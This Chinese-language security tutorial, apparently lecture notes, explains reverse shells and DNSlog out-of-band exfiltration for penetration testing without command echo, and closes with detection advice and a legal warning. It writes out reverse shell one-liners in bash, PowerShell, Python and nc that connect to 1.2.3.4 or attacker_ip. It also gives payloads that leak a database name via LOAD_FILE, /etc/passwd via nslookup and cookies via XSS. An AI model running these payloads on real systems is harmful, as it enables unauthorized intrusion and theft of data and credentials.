拓冰建站拓冰建站
首页 / 资讯中心 / 正文

反弹Shell与DNSlog带外查询:无回显场景下的渗透测试利器

1. 反弹Shell为什么是安全测试里的刚需先说个场景。你在一台目标机器上找到一个命令执行漏洞试了试whoami能回显心里一喜。但紧接着你想执行ipconfig、想看目录、想持续操作却发现每次都要重新构造一次请求中间但凡有个特殊字符被过滤、或者请求体过长被截断整个利用流程就变得无比脆弱。这种一次一命令的玩法效率低得让人抓狂。这时候你就需要反弹Shell。所谓反弹Shell简单说就是让目标机器主动反向连回你控制的机器给你一个交互式的命令行终端。拿到这个终端之后你就像坐在目标机器面前一样想敲什么敲什么完全不用再跟HTTP请求较劲。这里有两个关键字值得新手仔细琢磨一个是反弹一个是交互式。反弹解决的是网络连通性问题——目标机器在防火墙后面外网连不进来那就让它自己出来。交互式解决的是效率问题——你不再是一次性执行单条命令而是获得了一个完整的Shell会话可以保持状态、切换目录、设置环境变量。我在看小迪Day5这节课的时候最直观的感受就是他把为什么需要反弹Shell这件事讲得特别透。不是因为反弹Shell很酷而是因为实际渗透测试中命令执行漏洞往往伴随着输出限制、字符过滤、网络隔离等问题你根本没机会在原生环境下舒舒服服地执行命令。这时候一个反弹Shell直接绕过了所有这些限制。适合看这块内容的人一是刚开始学Web安全的同学二是打CTF经常卡在有命令执行但没回显这种局面的选手。前者需要建立如何拿下一个交互式终端的完整认知后者需要一套能在比赛里快速套用的方法论。至于生产环境里的蓝队同学了解反弹Shell也是必修课不然你看日志的时候根本不知道bash -i那一串字符意味着什么。2. 从一条bash命令拆解反弹Shell的底层逻辑很多人学反弹Shell就是背命令bash -i /dev/tcp/1.2.3.4/6666 01。背下来能打CTF但换一个场景就抓瞎——比如目标机器没有bash怎么办比如只出HTTP代理怎么办所以我还是建议从底层把这条命令拆开看。先看bash -i。-i表示interactive启动一个交互式的Shell。没有这个参数Shell不会等待你的输入反弹回来也没法像正常终端那样操作。再看 /dev/tcp/1.2.3.4/6666。这是Bash的一个特殊特性——/dev/tcp/主机/端口并不是磁盘上的一个文件而是Bash虚拟出来的一个网络设备。当你向这个文件写入内容时实际上是往指定的IP和端口发送TCP数据。是21的简写意思就是把标准输出和标准错误都重定向到这个网络连接上。这里有个新手常忽略的点如果没有21报错信息是不会通过反弹通道传回来的你就只能看到一个干巴巴的提示符出了错也看不见。最后看01。前面把标准输出接到了网络连接上这一步是把标准输入也重定向到同一个网络连接。三个流——stdin、stdout、stderr——全部指向这个TCP连接Shell的输出能通过网络发出来你发的命令能通过网络送进去这样才形成了一个完整的交互式会话。我自己的理解方式是把它类比成一个远程会议bash -i是开会的人是麦克风把说的话传出去01是听筒把外界的声音接进来。三者缺一会就开不成。在Windows环境下命令套路不一样。小迪那节课里提到的方式是使用PowerShell比如powershell -nop -c $client New-Object System.Net.Sockets.TCPClient(1.2.3.4,6666);$stream $client.GetStream();[byte[]]$bytes 0..65535|%{0};while(($i $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback (iex $data 21 | Out-String );$sendback2 $sendback PS (pwd).Path ;$sendbyte ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()这段代码的逻辑是建立TCP连接开一个循环持续读取你发过来的命令执行后把结果编码回传。原理跟Bash那条命令完全一致只是换了语言实现。还有更轻量的方式比如用Netcat。但很多目标机器上未必预装了nc所以Bash和PowerShell这种系统自带的方案在实际里更通用。3. 正反向连接的本质区别与选择逻辑理解了反弹Shell的单条命令之后接下来就要搞清楚一个更核心的问题为什么要反弹连接方向到底由什么决定在网络安全领域Shell连接的发起方向分为两种正向连接和反向连接。正向连接是你主动去连目标机器。目标机器开启一个监听端口你用自己的机器连过去。命令大概是这样的# 目标机器上执行监听本地4444端口 nc -lvp 4444 # 攻击者机器上执行主动连接目标 nc 192.168.1.100 4444看起来简单直接但实际测试里正向连接使用频率远低于反向连接原因有几个。第一防火墙策略。绝大多数内网环境的入站流量都有严格限制外部主动连入一个高端口大概率被防火墙拦掉。而出站连接通常是放行的——毕竟员工还得上网查资料、联数据库。所以让目标主动出去往往比让外面进来容易得多。第二NAT网络问题。很多目标机器处在内网并没有公网IP。你根本找不到一条路可以主动到达它但它访问公网服务器却是畅通无阻的。这种情况下正向连接压根就没有操作前提。第三连接状态的隐蔽性。从防守方来看正向连接意味着服务器上多了一个监听端口扫描一下就能看到。反向连接则是服务器主动发起了一条到外部的连接除非有专门的出站审计否则在日志层面非常不起眼。这方面的优劣对比我在后面的防守视角章节会详细说。为了更直观地说明问题把正向连接和反向连接的核心差异列个表维度正向连接反向连接发起方攻击者机器目标机器前提条件目标有公网IP或可路由地址目标可访问攻击者的监听端口防火墙友好度低入站常被拦高出站通常放行隐蔽性差目标会出现监听端口相对好表现为主动外连典型命令nc -lvp 4444nc -e /bin/sh attacker_ip 4444适用场景内网横向中目标可达外网打点、云主机、防火墙后面这不是说正向连接没用。在内网横向移动阶段当你能直接访问目标内网某台机器、且那台机器上没有合适的出网通道时正向连接反而更快。但如果是第一次拿到权限或者目标处于边界网络反向连接几乎是唯一选择。小迪在课程里专门强调了方向的判断标准先判断目标能不能访问到你再决定用哪种连接。这个判断每个测试人员都应该刻在脑子里。实操中我习惯先在VPS上监听一个端口然后用反弹命令验证目标能否出网如果迟迟连不上再用curl或者ping去测目标是否根本没有外网访问能力——这种情况在隔离的内网环境里很常见反弹Shell也会失效。4. DNSlog带外查询的核心原理与平台搭建接下来是Day5的重头戏DNSlog带外查询。在靶场或者CTF里这是一个出镜率极高、而且非常考验脑洞的技术点。先建立直觉。你有一条SQL注入但页面根本不回显查询结果也没法用报错注入拿到数据所有常规路径都封死了。怎么办一种思路是借助某种方式把数据库里的数据带出来。DNSlog就是利用DNS查询来外传数据的技巧。它的核心逻辑是让你注入的语句触发一次子域名解析请求而这次DNS查询的域名里包含了你想偷出来的数据最终这个查询记录会被DNS服务器记录下来你在平台上就能看到。具体来说DNS解析有个天然的记录功能。你在dnslog.cn或者ceye.io这类平台上会分配到一个专属域名比如xxx.dnslog.cn。当你让目标机器执行一次ping yyyyy.xxx.dnslog.cn系统会发起一次DNS查询把yyyyy.xxx.dnslog.cn这个域名送到DNS服务器解析。由于这个子域名无法在公网上解析成功查询会一路辗转到权威DNS服务器而这个服务器恰恰就是平台的 DNS它会把这个看似无效的查询记录下来。你登录平台一看就能看到yyyyy.xxx.dnslog.cn的解析记录yyyyy就是你想要外传的数据。这个过程可以类比成你往一个死信箱里投了一封信虽然对方永远不会回复但信经过邮局时被监控摄像头拍了个正着你事后回看监控就能知道信的内容。在课程里小迪讲了DNSlog平台的选择问题。在线平台更省事但如果你在实战中有隐蔽性要求自建DNS服务器也是常见选择。自建方案一般是搞一台VPS加上bind9配置好权威DNS然后开放53端口。判断平台是否可用最简单的验证方法是用ping命令ping一下平台分配的域名然后在后台看有没有解析记录刷出来。这一步是检验整个链路连通性的关键很多人在实战里折腾半天发现收不到数据结果是自己压根没测过平台通不通。写一个小例子假设你用的平台分配的子域名是abc.dnslog.cn在命令行里执行ping test.abc.dnslog.cn然后在平台后台看是否出现test.abc.dnslog.cn的解析记录。如果能看到说明数据外传链路是通的接下来就可以把它接到注入payload或者命令执行payload里。5. 带外查询在SQL注入和无回显命令执行中的落地姿势DNSlog本身只是一个通道怎么把数据塞进去才是真正见功力的时候。在SQL注入场景里盲注是DNSlog最常见的用武之地。以MySQL为例可以利用LOAD_FILE()函数来发起UNC路径请求触发一次SMB或者HTTP请求从而完成数据外传SELECT LOAD_FILE(CONCAT(\\\\,(SELECT DATABASE()),.abc.dnslog.cn\\a));Windows环境下的MySQL会尝试访问这个UNC路径进而产生一次DNS查询。SELECT DATABASE()的结果会被拼到域名前缀里最终在DNS平台看到类似security.abc.dnslog.cn的解析记录数据库名就泄露了。很多线上教程默认读者用的是Windows环境但如果你遇到的是Linux环境下的MySQLLOAD_FILE的这个特性就不一定管用因为UNC路径这个机制在Linux下不会触发同样的DNS请求。这时候可以考虑使用curl或者wget等命令来外传。再比如在命令执行漏洞里目标机器能执行命令但所有输出都不直接回显。常规思路是反弹Shell但如果目标出网策略严格只允许DNS请求出去那就用DNSlog来带数据。以Linux为例可以把命令执行结果拼在域名前缀里通过nslookup或者dig发出去whoami | nslookup $(whoami).abc.dnslog.cn实际使用中命令输出可能包含特殊字符直接拼在域名里会导致DNS解析失败所以更稳妥的做法是先用base64编码再拼到域名前缀里base64 /etc/passwd | tr -d \n | awk {print $0.abc.dnslog.cn} | nslookup到了平台后台你会看到一长串base64编码的域名记录解码后就能还原出文件内容。DNSlog还可以用于XSS盲打——当管理员在后台触发XSS时让浏览器执行一次JavaScript请求把Cookie或者页面内容发到DNSlog平台script new Image().src http:// document.cookie.replace(/[^a-zA-Z0-9]/g, ) .abc.dnslog.cn; /script这种方式的好处是即使限制HTTP协议只要DNS解析没被禁就能拿到数据。网上检索ctf靶场 反弹shell构造时能看到大量题目把反弹Shell和无回显利用结合起来本质上都是同一个思路在有漏洞但无回显的局面上用带外通道强行建立信息传输路径。把这些应用场景串起来看DNSlog不是一个孤立技巧而是各种盲打场景下打通数据回传的万能钥匙。6. 防守视角攻击链路的关键特征与日志追踪聊完攻击利用再切换成防守思路。小迪的Day5虽然是攻击视角为主但我在实际的安全运营工作里发现理解这些攻击手法的特征对防守方同样很有价值甚至更重要。如果你是在企业做安全或者自己搭靶场做实验一定要学会从日志里找到这些行为的踪迹。首先是反弹Shell的特征。反弹Shell的本质是目标机器主动建立一个外部TCP连接而且这个连接往往是长连接进程的父进程是Web服务程序但命令行参数里又不包含正常的Web请求处理逻辑。在EDR终端检测响应系统里这个进程链一眼就能看出来比如apache2 - /bin/sh - bash这种反常的父子进程关系。网络层也有明显的特征。反弹Shell的通信流量通常是交互式的每隔一段时间就有规律的请求和响应连接持续时间远超正常HTTP请求。如果一个内网主机长期与外部某个IP保持长连接且端口不是常见的80/443这条连接就需要重点关注。DNSlog行为的特征更隐蔽但也并非无迹可循。正常的DNS解析请求域名是有规律的而DNSlog攻击产生的查询域名通常包含随机字符串、base64编码字符或者域名前缀会频繁变化、在一段时间内出现大量针对同一子域名的查询。举个例子正常办公环境里一台机器一天产生几百条DNS查询很正常但如果某台机器在一分钟内向一个从未出现过的域名发起几十条子域名查询而且每条子域名前缀都疑似编码后的数据这个行为就非常可疑。防御方可以在内网DNS服务器上开启日志审计对DNS查询量、域名熵值做动态分析一旦出现类似行为就告警。对于防守方来说还有几个可以落地的加固建议限制出站DNS解析内网只允许指定的DNS服务器解析阻断非标准端口的出站连接对Web应用实施严格输出过滤从源头上消除命令执行和注入漏洞定期审计Web服务器的日志重点排查长连接和异常子域名解析。7. 学习路径与实验环境搭建的实战建议最后聊点学习层面的体会。很多人学这类内容最大的问题不是知识点难而是没有一套合理的实验环境导致只能看不能练看了几遍还是觉得隔了一层纸。搭建实验环境最省事的方式是本地用Docker起一个漏洞靶场。vulnerables/web-dvwa这种现成镜像就能模拟SQL注入场景配合一个DNSlog平台账号盲注加带外查询全流程都能跑通。如果条件允许再准备一台VPS作为监听端同时充作DNSlog数据的接收平台这样反向连接和带外查询两大技术都能在接近真实的环境里练。我自己刚开始练的时候走过一个弯路只会在本地虚拟机里自己打自己到了真正面对一个有防火墙的出网环境时就不知道怎么调整思路。后来发现窍门在于每次都刻意给自己设置限制条件——比如断开入站规则、只允许DNS出站、把命令执行回显改成无回显模式。这些限制越贴近真实攻防场景练出来的手感就越能迁移。再补充一个小技巧多收集不同环境下的反弹Shell命令变体。Linux的bash、perl、python、socatWindows的powershell、certutil、mshta每个都有自己适用的场景。Day5课程里提到了用nc配合-e参数的方法但很多现代系统已经不自带nc -e了这时候Python一行式反弹也是很好的替补方案python3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((1.2.3.4,6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);这些变体的原理都逃不出第一节讲的三个重定向理解了本质之后换语言只是换皮不用死记硬背。最后一定要强调合规问题。不管是反弹Shell还是DNSlog带外查询都是双刃剑技术。练习必须在授权的靶场、CTF比赛或者自己搭的实验环境里进行绝不能未经允许用到任何生产系统上。我从入行到现在见过太多人因为好奇心越过了边界给自己惹上大麻烦。技术上追求深度没问题但边界感和法律意识才是一个安全从业者走得更远的基石。Day5这一节课的价值恰恰在于它把这些零散的技术点串成了一条完整链路从命令执行漏洞出发为什么要反弹Shell连不上怎么换反向连接没回显怎么用DNSlog带数据。这条链路想通了后续学内网渗透、学高级利用都会轻松很多。
分享:

看完干货,该让你的企业上线了

免费需求沟通 · 48 小时内出具建站方案 · 河南本地可上门